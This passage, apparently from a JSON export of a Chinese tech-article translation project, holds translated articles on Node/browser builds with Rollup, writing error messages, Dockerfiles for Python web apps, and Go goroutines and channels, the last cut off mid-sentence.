btoa(string);\n};\n```\n\n有了这次改进以后，Browserify 和 Webpack 会给出 [更加合理的包](https://gist.github.com/nolanlawson/a8945de1dd52fdc9b4772a2056d3c3b7)：Browserify 的包压缩后是 511 字节（315 min+gz)，Webpack 的包压缩后是 550 字节（297 min+gz）。\n\n当我们将我们的包发布到 npm 时，在 Node 里运行 `require('base64-encode-string')` 的人将得到 Node 版的代码，在 Browserfy 和 Webpack 里跑的人会得到浏览器版的代码。\n\n对于 Rollup 来说，这就有点复杂了，但也不需要太多额外的工作。Rollup 用户需要使用 [rollup-plugin-node-resolve](https://github.com/rollup/rollup-plugin-node-resolve) 并在选项里将 `browser` 设置为 `true`。\n\n对 jspm 来说，很不幸地，[没有对 “browser” 字段的支持](https://github.com/jspm/jspm-cli/issues/1675)，但是 jspm 用户可以通过 `require('base64-encode-string/browser')` 或者 `jspm install npm:base64-encode-string -o \"{main:'browser.js'}\"` 来迂回地解决问题。另一种方法是，包的作者可以在他们的 `package.json` 里 [指定一个 “jspm” 字段](https://github.com/jspm/registry/wiki/Configuring-Packages-for-jspm#prefixing-configuration)。\n\n### 进阶技巧 ###\n\n这种直接使用的 `\"browser\"` 方法可以工作得很好，但是对于大型项目来说，我发现它在 `package.json` 和代码库间引入了一种尴尬的耦合。比如说，我们的 `package.json` 会很快长成这样：\n\n```\n{\n  /* ... */\n  \"browser\": {\n    \"./index.js\": \"./browser.js\",\n    \"./widget.js\": \"./widget-browser.js\",\n    \"./doodad.js\": \"./doodad-browser.js\",\n    /* etc. */\n  }\n}\n```\n在这种情况下，任何时候你想要一个适配于浏览器的模块，都需要分别创建两个文件，并且要记住在 `\"browser\"` 字段上添加额外行来将它们连接起来。还要注意不能拼错任何东西！\n\n并且，你会发现你在费尽心机地将微小的代码提取到分离的模块里，仅仅是因为你想要避免 `if (process.browser) {}` 检查。当这些 `*-browser.js` 文件积累起来的时候，它们会开始让代码库变得很难跳转。\n\n如果这种情况变得实在太笨重了，有一些别的解决方案。我自己的偏好是使用 Rollup 作为构建工具，来自动地将单个代码库分割到不同的 `index.js` 和 `browser.js` 文件里。这对于将你提供给用户的代码的解模块化有额外的价值，[节省了空间和时间](https://nolanwlawson.wordpress.com/2016/08/15/the-cost-of-small-modules/)。\n\n要这样做的话，先安装 `rollup` 和 `rollup-plugin-replace`，然后定义一个 `rollup.config.js` 文件：\n\n```\nimport replace from 'rollup-plugin-replace';\nexport default {\n  entry: 'src/index.js',\n  format: 'cjs',\n  plugins: [\n    replace({ 'process.browser': !!process.env.BROWSER })\n  ]\n};\n```\n\n（我们将使用 `process.env.BROWSER` 作为一种方便地在浏览器构建和 Node 构建间切换的方式。）\n\n接下来，我们可以创建一个带有单个函数的 `src/index.js` 文件，使用普通的 `process.browser` 条件：\n\n```\nexport default function base64Encode(string) {\n  if (process.browser) {\n    return btoa(string);\n  } else {\n    return Buffer.from(string, 'binary').toString('base64');\n  }\n}\n```\n\n然后将 `prepublish` 步骤添加到 `package.json` 内，来生成文件：\n\n```\n{\n  /* ... */\n  \"scripts\": {\n    \"prepublish\": \"rollup -c > index.js && BROWSER=true rollup -c > browser.js\"\n  }\n}\n```\n\n生成的文件都相当直白易读：\n\n\n```\n// index.js\n'use strict';\n\nfunction base64Encode(string) {\n  {\n    return Buffer.from(string, 'binary').toString('base64');\n  }\n}\n\nmodule.exports = base64Encode;\n\n// browser.js\n'use strict';\n\nfunction base64Encode(string) {\n  {\n    return btoa(string);\n  }\n}\n\nmodule.exports = base64Encode;\n```\n\n你将注意到，Rollup 会按需自动地将 `process.browser` 转换成 `true` 或者  `false`，然后去掉那些无用代码。所以在生成的浏览器包里不会有对于  `process` 或者 `Buffer` 的引用。\n\n使用这个技巧，在你的代码库里可以有任意个的 `process.browser` 切换，并且发布的结果是两个小的集中的 `index.js` 和 `browser.js` 文件，其中对于 Node 只有 Node 相关的代码，对于浏览器只有浏览器相关的代码。\n\n作为附带的福利，你可以配置 Rollup 来生成 ES 模块构建，IIFE 构建，或者 UMD 构建。如果你想要示例的话，可以查看我的项目 [marky](https://github.com/nolanlawson/marky)，这是一个拥有多个 Rollup 构建目标的简单库。\n\n在这篇文章里描述的实际项目（`base64-encode-string`）也同样被 [发布到 npm 上](https://www.npmjs.com/package/base64-encode-string) ，你可以审视它，看看它是怎么做到的。源码 [在 GitHub 上](https://github.com/nolanlawson/base64-encode-string)。\n"
  },
  {
    "path": "TODO/how-to-write-a-perfect-error-message.md",
    "content": "\n  > * 原文地址：[How to Write a Perfect Error Message](https://uxplanet.org/how-to-write-a-perfect-error-message-da1ca65a8f36)\n  > * 原文作者：[Vitaly Dulenko](https://uxplanet.org/@atko_o)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-write-a-perfect-error-message.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-write-a-perfect-error-message.md)\n  > * 译者： [Cherry](https://github.com/sunshine940326)\n  > * 校对者：[lampui](https://github.com/lampui) [shawnchenxmu](https://github.com/shawnchenxmu)\n\n# 怎么写出完美的错误消息\n  \n![](https://cdn-images-1.medium.com/max/2000/1*xzoYpYHX1Cgb9cuUi6w-LQ.png)\n\n每一个系统都会出现错误。这可能是用户的错误也可能是系统的错误。在这两种情况下，正确处理错误非常重要，因为它们对于良好的用户体验至关重要。\n\n**一个好的错误消息应该包括下面这 3 个重要部分：**\n\n\n1. 明确的文字信息。\n2. 合适的显示位置。\n3. 好的视觉设计。\n\n### **明确的文字**信息\n\n#### 1. 错误消息应该明确\n\n错误消息应该明确地定义是什么错误，错误是怎样发生的并且应该怎样处理。将错误消息想象为你和用户之间的对话：这就应该使得错误消息被拟人化。确保你的错误消失是礼貌的、易懂的、友好的和无术语的。\n\n![](https://cdn-images-1.medium.com/max/1600/1*2RdNRoDJmqfArWaViXal-g.png)\n\n#### 2. 错误信息应该是有用的\n只告诉用户哪些地方出错了是不够的。你要告诉读者怎样才能又快又方便的解决问题。\n\n例如，微软描述了错误，并在错误消息中提供了一个解决方案，这样你就可以立即修复这个问题。\n\n![](https://cdn-images-1.medium.com/max/1600/1*9eTjcpNOWtE7pEWXpiPivA.png)\n\n#### 3. 错误消息应该针对具体情况\n很多时候，网站对于所有的验证状态只使用一条错误消息。你没有填写邮箱 — 网站提示“请输入有效的邮箱地址”，你漏了“@”符号 — 网站也是提示“请输入有效的邮箱地址”。MailChimp 处理这种情况有另一种方式：他们有 3 个错误消息对应不同的邮箱验证状态。第一个检查是检查在提交表单的时候检查输入是否为空。其他的两个检查是检查是否有“@”符号和“.”符号（“请输入内容”并不是一个很好的例子，因为还并不清楚你需要输入什么样的值。） 向用户显示实际的错误消息，而不是通用的错误消息。\n\n![](https://cdn-images-1.medium.com/max/1600/1*cbmeYu8zkwhuw-I6fxn5gQ.png)\n\n#### 4. 错误信息应该是礼貌的\n如果你的用户犯了错误请不要粗鲁地对待他们。对你的用户客气一点，让他们感觉舒适和方便。使用你品牌的声音和个性化的错误消息是一个好的选择。\n\n![](https://cdn-images-1.medium.com/max/1600/1*4C2I4mLoV7A2Xclp5xXYmg.png)\n\n#### 5. 适当的时候使用幽默的语言\n在你的错误消息中小心地使用幽默。首先，错误信息应该是提供信息和有用的。然后，您可以改进用户体验，如果适当的话，在错误消息中添加一些幽默性。\n\n![](https://cdn-images-1.medium.com/max/1600/1*cVp9802WuM8W1pb4kSRH-A.png)\n\n### 将错误消息放置在合适的位置\n好的错误信息是在需要时可以看到的错误信息。避免错误摘要，在与它们相关的 UI 元素旁边放置错误消息。\n\n![](https://cdn-images-1.medium.com/max/1600/1*90bO1c3llbghosgQTH0hwA.png)\n\n### 为错误消息提供合适的视觉设计\n错误消息应该清晰可见。使用对比强烈的文本颜色和背景颜色，这样用户就可以很容易地注意到和阅读消息。\n\n通常情况下，红色用于错误消息文本。在某些情况下，使用黄色或橙色作为某些资源状态因为红色对用户来说过于紧张。在这两种情况下，请确保错误文本是易读的，与背景颜色有明显的对比。别忘了在颜色旁边提供一个相关的图标，帮助色盲人士阅读。\n\n![](https://cdn-images-1.medium.com/max/1600/1*Gny4mwee7oJL1vQsNgJhkg.png)\n\n### 结语\n错误消息是改善用户体验、分享您的品牌声音和个性的绝佳机会。注重良好的错误消息，要综合考虑语言、布局和视觉设计等各个方面。使它成为一个真正的完美的产品。\n\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n  \n"
  },
  {
    "path": "TODO/how-to-write-dockerfiles-for-python-web-apps.md",
    "content": "> * 原文地址：[How to write Dockerfiles for Python Web Apps](https://blog.hasura.io/how-to-write-dockerfiles-for-python-web-apps-6d173842ae1d)\n> * 原文作者：[Praveen Durairaj](https://blog.hasura.io/@praveenweb?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-write-dockerfiles-for-python-web-apps.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-write-dockerfiles-for-python-web-apps.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[Starriers](https://github.com/Starriers), [steinliber](https://github.com/steinliber)\n\n# 为 Python Web App 编写 Dockerfiles\n\n![](https://cdn-images-1.medium.com/max/800/1*8rsXezmgl9VTA4zqCcUsfw.jpeg)\n\n### TL;DR\n\n本文涵盖了从创建简单的 Dockerfile 到生产环境多级构建 Python 应用的例子。以下为本指南的内容摘要：\n\n*   使用合适的基础镜像（开发环境使用 debian，生产环境使用 alpine）。\n*   在开发时使用 `gunicorn` 进行热加载。\n*   优化 Docker 的 cache layer（缓存层）—— 按照正确的顺序使用命令，仅在必要时运行 `pip install`。\n*   使用 `flask` 的 static 及 template 目录\u0010部署静态文件（比如 React、Vue、Angular 生成的 bundle）。\n*   使用 `alpine` 进行生产环境下的多级构建，减少最终镜像文件的大小。\n*   \\#彩蛋 — 在开发时可以用 gunicorn 的 `--reload` 与 `--reload_extra_files` 监视文件（包括 html、css 及 js）的修改。\n\n如果你需要以上步骤的代码，请参考 [GitHub repo](https://github.com/praveenweb/python-docker).\n\n### 内容\n\n1.  简单的 Dockerfile 与 .dockerignore\n2.  使用 gunicorn 实现热加载\n3.  运行一个单文件 python 脚本\n4.  部署静态文件\n5.  生产环境中的直接构建\n6.  生产环境中的多级构建\n\n假设我们有一个名为 python-app 的应用，为其准备一个简单的目录结构。在顶级目录下，包含 `Dockerfile` 以及 `src` 文件夹。\n\npython app 的源码就存放在 `src` 目录中，app 的依赖关系保存在 `requirements.txt` 里。为了简洁起见，我们假设 server.py 定义了一个运行于 8080 端口的 flask 服务。\n\n```\npython-app\n├── Dockerfile\n└── src\n    └── server.py\n    └── requirements.txt\n```\n\n### 1. 简单的 Dockerfile 样例\n\n```docker\nFROM python:3.6\n\n# 创建 app 目录\nWORKDIR /app\n\n# 安装 app 依赖\nCOPY src/requirements.txt ./\n\nRUN pip install -r requirements.txt\n\n# 打包 app 源码\nCOPY src /app\n\nEXPOSE 8080\nCMD [ \"python\", \"server.py\" ]\n```\n\n我们将使用最新版本的 `python:3.6` 作为基础镜像。\n\n在构建镜像时，docker 会获取所有位于 `context` 目录下的文件。为了提高 docker 构建的速度，可以在 context 目录中添加 `.dockerignore` 文件来排除不需要的文件与目录。\n\n通常，你的 `.dockerignore` 文件件应该如下所示：\n\n```text\n.git\n__pycache__\n*.pyc\n*.pyo\n*.pyd\n.Python\nenv\n```\n\n构建并运行此镜像：\n\n```bash\n$ cd python-docker\n$ docker build -t python-docker-dev .\n$ docker run --rm -it -p 8080:8080 python-docker-dev\n```\n\n你将能在 `[http://localhost:8080](http://localhost:8080.)` 访问此 app。使用 `Ctrl+C` 组合键可以退出程序。\n\n现在，假设你希望在每次修改代码（比如在本地部署时）时都运行以上代码，那么你需要在启停 python 服务时将代码源文件挂载到容器中。\n\n```\n$ docker run --rm -it -p 8080:8080 -v $(pwd):/app \\\n             python-docker-dev bash\nroot@id:/app# python src/server.py\n```\n\n### 2. 使用 Gunicorn 实现热更新\n\n[gunicorn](http://gunicorn.org) 是一款运行于 Unix 下的 Python WSGI HTTP server，使用的是 pre-fork worker 模型（注，Arbiter 是 gunicorn 的 master，因此称 gunicorn 为 pre-fork worker）。你可以使用各种各样的选项来配置 gunicorn。向 gunicorn 命令中传入 `--reload` 或是将 `reload` 写入配置文件，就可以让 gunicorn 在有文件发生变化时自动重启 python 服务。\n\n```docker\nFROM python:3.6\n\n# 创建 app 目录\nWORKDIR /app\n\n# 安装 app 依赖\nCOPY gunicorn_app/requirements.txt ./\n\nRUN pip install -r requirements.txt\n\n# 打包 app 源码\nCOPY gunicorn_app /app\n\nEXPOSE 8080\n```\n\n我们将构建镜像并运行 gunicorn，以便在 `app` 目录下文件发生变动时对代码进行 rebuild。\n\n```\n$ cd python-docker\n$ docker build -t python-hot-reload-docker .\n$ docker run --rm -it -p 8080:8080 -v $(pwd):/app \\\n             python-hot-reload-docker bash\nroot@id:/app# gunicorn --config ./gunicorn_app/conf/gunicorn_config.py gunicorn_app:app\n```\n\n一切在 `app` 目录下 python 文件的更改都会触发 rebuild，发生的变化都能在 `[http://localhost:8080](http://localhost:8080.)` 上实时展示。请注意，我们已经将文件挂载到了容器中，因此 gunicorn 才能正常工作。\n\n**其它格式的文件怎么办？** 如果你希望 gunicorn 在监视代码变动的时候也监视其它类型的文件（如 template、view 之类的文件），可以在 `reload_extra_files` 参数中进行指定。此参数接受数组形式的多个文件名。\n\n### 3. 运行一个单文件 python 脚本\n\n你可以通过 docker run，使用 python 镜像来简单地运行 python 单文件脚本。\n\n```bash\ndocker run -it --rm --name single-python-script -v \"$PWD\":/app -w /app python:3 python your-daemon-or-script.py\n```\n\n你也可以给脚本传递一些参数。在上面的例子中，我们就已经挂载了当前工作目录，也就是说可以将目录中的文件当做参数传递。\n\n### 4. 部署静态文件\n\n上面的 Dockerfile 假定了你是使用 Python 运行一个 API 服务器。如果你想用 Python 为 React.js、Vue.js、Angular.js app 提供服务，可以使用 Flask。Flask 为渲染静态文件提供了一种便捷的方式：html 文件放在 `templates` 目录中，css、js 及图片放在 `static` 目录中。\n\n请[在此 repo](https://github.com/praveenweb/python-docker/tree/master/static_app) 中查看简单的 hello world 静态 app 的目录结构。\n\n```docker\nFROM python:3.6\n\n# 创建 app 目录\nWORKDIR /app\n\n# 安装 app 依赖\nCOPY static_app/requirements.txt ./\n\nRUN pip install -r requirements.txt\n\n# 打包 app 源码\nCOPY static_app /app\n\nEXPOSE 8080\nCMD [\"python\",\"server.py\"]\n```\n\nIn your server.py,\n\n```python\nif __name__ == '__main__':\n    app.run(host='0.0.0.0')\n```\n\n请注意，host 需要设置为 `0.0.0.0` - 这样可以让你的服务在容器外被访问。如果不设置此参数，host 会默认设为 `localhost`。\n\n### 5. 生产环境中的直接构建\n\n```docker\nFROM python:3.6\n\n# 创建 app 目录\nWORKDIR /app\n\n# 安装 app 依赖\nCOPY gunicorn_app/requirements.txt ./\n\nRUN pip install -r requirements.txt\n\n# 打包 app 源码\nCOPY . /app\n\nEXPOSE 8080\nCMD [\"gunicorn\", \"--config\", \"./gunicorn_app/conf/gunicorn_config.py\", \"gunicorn_app:app\"]\n```\n\n构建并运行这个一体化镜像：\n\n```bash\n$ cd python-docker\n$ docker build -t python-docker-prod .\n$ docker run --rm -it -p 8080:8080 python-docker-prod\n```\n\n由于底层为 Debian，构建完成后镜像约为 700MB（具体数值取决于你的源码）。下面探讨如何减小这个文件的大小。\n\n### 6. 生产环境中的多级构建\n\n使用多级构建时，将在 Dockerfile 中使用多个 `FROM` 语句，但最后仅会使用最终阶段构建的文件。这样，得到的镜像将仅包含生产服务器中所需的依赖，理想情况下文件将非常小。\n\n当你需要使用依赖于系统的模块或需要编译的模块时，这种构建模式十分有用。比如 `pycrypto` 和 `numpy` 就很适合这种方法。\n\n```docker\n# ---- 基础 python 镜像 ----\nFROM python:3.6 AS base\n# 创建 app 目录\nWORKDIR /app\n\n# ---- 依赖 ----\nFROM base AS dependencies  \nCOPY gunicorn_app/requirements.txt ./\n# 安装 app 依赖\nRUN pip install -r requirements.txt\n\n# ---- 复制文件并 build ----\nFROM dependencies AS build  \nWORKDIR /app\nCOPY . /app\n# 在需要时进行 Build 或 Compile\n\n# --- 使用 Alpine 发布 ----\nFROM python:3.6-alpine3.7 AS release  \n# 创建 app 目录\nWORKDIR /app\n\nCOPY --from=dependencies /app/requirements.txt ./\nCOPY --from=dependencies /root/.cache /root/.cache\n\n# 安装 app 依赖\nRUN pip install -r requirements.txt\nCOPY --from=build /app/ ./\nCMD [\"gunicorn\", \"--config\", \"./gunicorn_app/conf/gunicorn_config.py\", \"gunicorn_app:app\"]\n```\n\n使用上面的方法，用 Alpine 构建的镜像文件大小约 90MB，比之前少了 8 倍。使用 `alpine` 版本进行构建能有效减小镜像的大小。\n\n**注意：**上面的 Dockerfiles 是为 `python 3` 编写的，你可以只做少数修改就能将其改为 `python 2` 版本。如果你要部署的是 `django` 应用，也应该能通过少数改动就做出可部署于生产环境的 Dockerfiles。\n\n如果你对前面的方法有任何建议，或希望看到别的用例，请告知作者。\n\n欢迎加入 [Reddit](https://www.reddit.com/r/flask/comments/80css4/how_to_write_dockerfiles_for_python_web_apps/) 或 [HackerNews](https://news.ycombinator.com/item?id=16471630) 参与讨论 :)\n\n* * *\n\n此外，你是否试过将 python web app 部署在 Hasura 上呢？这其实是将 python 应用部署于 HTTPS 域名的最快的方法（仅需使用 git push）。尝试使用 [https://hasura.io/hub/projects/hasura/hello-python-flask](https://hasura.io/hub/projects/hasura/hello-python-flask) 的模板快速入门吧！Hasura 中所有的项目模板都带有 Dockerfile 与 Kubernetes 标准文件，你可以自由进行定义。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n\n"
  },
  {
    "path": "TODO/how-to-write-high-performance-code-in-golang-using-go-routines.md",
    "content": " \n> * 原文地址：[How to write high-performance code in Golang using Go-Routines](https://medium.com/@vigneshsk/how-to-write-high-performance-code-in-golang-using-go-routines-227edf979c3c)\n> * 原文作者：[Vignesh Sk](https://medium.com/@vigneshsk?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-write-high-performance-code-in-golang-using-go-routines.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-write-high-performance-code-in-golang-using-go-routines.md)\n> * 译者：[tmpbook](https://github.com/tmpbook)\n> * 校对者：[altairlu](https://github.com/altairlu)\n\n# 如何使用 Golang 中的 Go-Routines 写出高性能的代码\n\n![](https://cdn-images-1.medium.com/max/800/1*jdAaUNHvhS0n1FjS2RUxgw.jpeg)\n\n为了用 Golang 写出快速的代码，你需要看一下 Rob Pike 的视频 - [Go-Routines](https://www.youtube.com/watch?v=f6kdp27TYZs)。\n\n他是 Golang 的作者之一。如果你还没有看过视频，请继续阅读，这篇文章是我对那个视频内容的一些个人见解。我感觉视频不是很完整。我猜 Rob 因为时间关系忽略掉了一些他认为不值得讲的观点。不过我花了很多的时间来写了一篇综合全面的关于 go-routines 的文章。我没有涵盖视频中涵盖的所有主题。我会介绍一些自己用来解决 Golang 常见问题的项目。\n\n好的，为了写出很快的 Golang 程序，有三个概念你需要完全了解，那就是 Go-Routines，闭包，还有管道。\n\n## Go-Routines\n\n让我们假设你的任务是将 100 个盒子从一个房间移到另一个房间。再假设，你一次只能搬一个盒子，而且移动一次会花费一分钟时间。所以，你会花费 100 分钟的时间搬完这 100 个箱子。\n\n现在，为了让加快移动 100 个盒子这个过程，你可以找到一个方法更快的移动这个盒子（这类似于找一个更好的算法去解决问题）或者你可以额外雇佣一个人去帮你移动盒子（这类似于增加 CPU 核数用于执行算法）\n\n这篇文章重点讲第二种方法。编写 go-routines 并利用一个或者多个 CPU 核心去加快应用的执行。\n\n任何代码块在默认情况下只会使用一个 CPU 核心，除非这个代码块中声明了 go-routines。所以，如果你有一个 70 行的，没有包含 go-routines 的程序。它将会被单个核心执行。就像我们的例子，一个核心一次只能执行一个指令。因此，如果你想加快应用程序的速度，就必须把所有的 CPU 核心都利用起来。\n\n\n所以，什么是 go-routine。如何在 Golang 中声明它？\n\n让我们看一个简单的程序并介绍其中的 go-routine。\n\n### 示例程序 1\n\n假设移动一个盒子相当于打印一行标准输出。那么，我们的实例程序中有 10 个打印语句（因为没有使用 for 循环，我们只移动 10 个盒子）。\n\n```\npackage main\n\nimport \"fmt\"\n\nfunc main() {\n\tfmt.Println(\"Box 1\")\n\tfmt.Println(\"Box 2\")\n\tfmt.Println(\"Box 3\")\n\tfmt.Println(\"Box 4\")\n\tfmt.Println(\"Box 5\")\n\tfmt.Println(\"Box 6\")\n\tfmt.Println(\"Box 7\")\n\tfmt.Println(\"Box 8\")\n\tfmt.Println(\"Box 9\")\n\tfmt.Println(\"Box 10\")\n}\n\n```\n\n因为 go-routines 没有被声明，上面的代码产生了如下输出。\n\n### 输出\n\n```\nBox 1\nBox 2\nBox 3\nBox 4\nBox 5\nBox 6\nBox 7\nBox 8\nBox 9\nBox 10\n```\n\n所以，如果我们想在在移动盒子这个过程中使用额外的 CPU 核心，我们需要声明一个 go-routine。\n\n### 包含 Go-Routines 的示例程序 2\n\n```\npackage main\n\nimport \"fmt\"\n\nfunc main() {\n\tgo func() {\n\t\tfmt.Println(\"Box 1\")\n\t\tfmt.Println(\"Box 2\")\n\t\tfmt.Println(\"Box 3\")\n\t}()\n\tfmt.Println(\"Box 4\")\n\tfmt.Println(\"Box 5\")\n\tfmt.Println(\"Box 6\")\n\tfmt.Println(\"Box 7\")\n\tfmt.Println(\"Box 8\")\n\tfmt.Println(\"Box 9\")\n\tfmt.Println(\"Box 10\")\n}\n\n```\n\n这儿，一个 go-routine 被声明且包含了前三个打印语句。意思是处理 main 函数的核心只执行 4-10 行的语句。另一个不同的核心被分配去执行 1-3 行的语句块。\n\n### 输出\n\n```\nBox 4\nBox 5\nBox 6\nBox 1\nBox 7\nBox 8\nBox 2\nBox 9\nBox 3\nBox 10\n```\n\n## 分析输出\n\n在这段代码中，有两个 CPU 核心同时运行，试图执行他们的任务，并且这两个核心都依赖标准输出来完成它们相应的任务（因为这个示例中我们使用了 print 语句）\n换句话来说，标准输出（运行在它自己的一个核心上）一次只能接受一个任务。所以，你在这儿看到的是一种随机的排序，这取决于标准输出决定接受 core1 core2 哪个的任务。\n\n## 如何声明 go-routine？\n\n为了声明我们自己的 go-routine，我们需要做三件事。\n\n1. 我们创建一个匿名函数\n2. 我们调用这个匿名函数\n3. 我们使用 「go」关键字来调用\n\n所以，第一步是采用定义函数的语法，但忽略定义函数名（匿名）来完成的。\n\n```\nfunc() {\n\tfmt.Println(\"Box 1\")\n\tfmt.Println(\"Box 2\")\n\tfmt.Println(\"Box 3\")\n}\n```\n\n第二步是通过将空括号添加到匿名方法后面来完成的。这是一种叫命名函数的方法。\n\n```\nfunc() {\n  fmt.Println(\"Box 1\")\n  fmt.Println(\"Box 2\")\n  fmt.Println(\"Box 3\")\n} ()\n```\n\n步骤三可以通过 go 关键字来完成。什么是 go 关键字呢，它可以将功能块声明为可以独立运行的代码块。这样的话，它可以让这个代码块被系统上其他空闲的核心所执行。\n\n> #细节 1：当 go-routines 的数量比核心数量多的时候会发生什么？\n>\n> 单个核心通过[上下文切换](https://stackoverflow.com/a/5201906)并行执行多个go程序来实现多个核心的错觉。\n>\n> #自己试试之1：试着移除示例程序2中的 go 关键字。输出是什么呢？\n>\n> 答案：示例程序2的结果和1一模一样。\n>\n> #自己试试之 2：将匿名函数中的语句从 3 增加至 8 个。结果改变了吗？\n>\n> 答案：是的。main 函数是一个母亲 go-routine（其他所有的 go-routine 都在它里面被声明和创建）。所以，当母亲 go-routine 执行结束，即使其他 go-routines 执行到中途，它们也会被杀掉然后返回。\n\n我们现在已经知道 go-routines 是什么了。接下来让我们来看看**闭包**。\n\n如果之前没有在 Python 或者 JavaScript 中学过闭包，你可以现在在 Golang 中学习它。学到的人可以跳过这部分来节省时间，因为 Golang 中的闭包和 Python 或者 JavaScript 中是一样的。\n\n在我们深入理解闭包之前。让我们先看看不支持闭包属性的语言比如 C，C++ 和 Java，在这些语言中，\n\n1. 函数只访问两种类型的变量，全局变量和局部变量（函数内部的变量）。\n2. 没有函数可以访问声明在其他函数里的变量。\n3. 一旦函数执行完毕，这个函数中声明的所有变量都会消失。\n\n对 Golang，Python 或者 JavaScript 这些支持闭包属性的语言，以上都是不正确的，原因在于，这些语言拥有以下的灵活性。\n\n1. 函数可以声明在函数内。\n2. 函数可以返回函数。\n\n> 推论 #1：因为函数可以被声明在函数内部，一个函数声明在另一个函数内的嵌套链是这种灵活性的常见副产品。\n\n为了了解为什么这两个灵活性完全改变了运作方式，让我们看看什么是闭包。\n\n## 所以什么是闭包？\n\n除了访问局部变量和全局变量，函数还可以访问函数声明中声明的所有局部变量，只要它们是在之前声明的（包括在运行时传递给闭包函数的所有参数），在嵌套的情况下，函数可以访问所有函数的变量（无论闭包的级别如何）。\n\n\n为了理解的更好，让我们考虑一个简单的情况，两个函数，一个包含另一个。\n\n```\npackage main\n\nimport \"fmt\"\n\nvar zero int = 0\n\nfunc main() {\n\tvar one int = 1\n\tchild := func() {\n\t\tvar two int = 3\n\t\tfmt.Println(zero)\n\t\tfmt.Println(one)\n\t\tfmt.Println(two)\n\t\tfmt.Println(three) // causes compilation Error\n\t}\n\tchild()\n\tvar three int = 2\n}\n\n```\n\n这儿有两个函数 - 主函数和子函数，其中子函数定义在主函数中。子函数访问\n\n1. zero 变量 - 它是全局变量\n2. one 变量 - 闭包属性 - one 属于主函数，它在主函数中且定义在子函数之前。\n3. two 变量 - 它是子函数的局部变量\n\n> 注意：虽然它被定义在封闭函数「main」中，但它不能访问 three 变量，因为后者的声明在子函数的定义后面。\n\n和嵌套一样。\n\n```\npackage main\n\nimport \"fmt\"\n\nvar global func()\n\nfunc closure() {\n\tvar A int = 1\n\tfunc() {\n\t\tvar B int = 2\n\t\tfunc() {\n\t\t\tvar C int = 3\n\t\t\tglobal = func() {\n\t\t\t\tfmt.Println(A, B, C)\n\t\t\t\tfmt.Println(D, E, F) // causes compilation error\n\t\t\t}\n\t\t\tvar D int = 4\n\t\t}()\n\t\tvar E int = 5\n\t}()\n\tvar F int = 6\n}\nfunc main() {\n\tclosure()\n\tglobal()\n}\n\n```\n\n如果我们考虑一下将一个最内层的函数关联给一个全局变量「global」。\n\n1. 它可以访问到 A、B、C 变量，和闭包无关。\n1. 它无法访问 D、E、F 变量，因为它们之前没有定义。\n\n> 注意：即使闭包执行完了，它的局部变量任然不会被销毁。它们仍然能够通过名字是 「global」的函数名去访问。\n\n下面介绍一下 **Channels**。\n\nChannels 是 go-routines 之间通信的一种资源，它们可以是任意类型。\n\n```\nch := make(chan string)\n```\n\n我们定义了一个叫做 ch 的 string 类型的 channel。只有 string 类型的变量可以通过此 channel 通信。\n\n```\nch <- \"Hi\"\n```\n\n就是这样发送消息到 channel 中。\n\n```\nmsg := <- ch\n```\n\n这是如何从 channel 中接收消息。\n\n所有 channel 中的操作（发送和接收）本质上是阻塞的。这意味着如果一个 go-routine 试图通过 channel 发送一个消息，那么只有在存在另一个 go-routine 正在试图从 channel 中取消息的时候才会成功。如果没有 go-routine 在 channel 那里等待接收，作为发送方的 go-routine 就会永远尝试发送消息给某个接收方。\n\n最重要的点是这里，跟在 channel 操作后面的所有的语句在 channel 操作结束之前是不会执行的，go-routine 可以解锁自己然后执行跟在它后面的语句。这有助于同步其他代码块的各种 go-routine。\n\n> 免责声明：如果只有发送方的 go-routine，没有其他的 go-routine。那么会发生死锁，go 程序会检测出死锁并崩溃。\n>\n> 注意：所有以上讲的也都适用于接收方 go-routines。\n\n## 缓冲 Channels\n\n```\nch := make(chan string, 100)\n```\n\n缓冲 channels 本质上是半阻塞的。\n\n比如，ch 是一个 100 大小的缓冲字符 channel。这意味着前 100 个发送给它的消息是非阻塞的。后面的就会阻塞掉。\n\n这种类型的 channels 的用处在于从它中接收消息之后会再次释放缓冲区，这意味着，如果有 100 个新 go-routines 程序突然出现，每个都从 channel 中消费一个消息，那么来自发送者的下 100 个消息将会再次变为非阻塞。\n\n\n所以，一个缓冲 channel 的行为是否和非缓冲 channel 